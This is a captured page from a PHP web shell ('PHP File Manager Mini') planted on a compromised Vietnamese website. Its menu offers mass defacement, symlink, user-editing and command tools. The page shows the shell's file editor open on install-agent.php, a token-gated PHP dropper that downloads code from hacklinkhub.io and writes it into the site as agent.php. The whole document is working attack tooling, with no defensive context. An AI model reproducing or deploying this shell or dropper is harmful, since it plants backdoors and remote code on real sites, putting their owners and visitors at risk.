PHP File Manager Mini
Current Dir :
/
home
/
domains
/
thapsang.vn
/
public_html
/[
drwxr-xr-x
]
Home
Config
Mass Deface
biasa [
Writable
]
home_root [
Writable
]
Jumping
Symlink
Auto edit user
dir
file
Adminer
Command
Logout
FILE EDITOR
Filename :
/home/domains/thapsang.vn/public_html/install-agent.php
File Size :
0.523 KB
MIME-type :
text/x-php
Permission :
rrw-r--r--
Edit
Rename
Chmod
Delete
Download
<?php $token = "83fds2kfms3q"; if(($_GET["token"] ?? "") !== $token){ http_response_code(403); exit; } $remote = "https://hacklinkhub.io/agent/agent.txt"; $target = __DIR__."/agent.php"; $ch = curl_init($remote); curl_setopt_array($ch,[ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true ]); $data = curl_exec($ch); curl_close($ch); if(!$data){ echo "download_failed"; exit; } file_put_contents($target,$data); echo "agent_installed";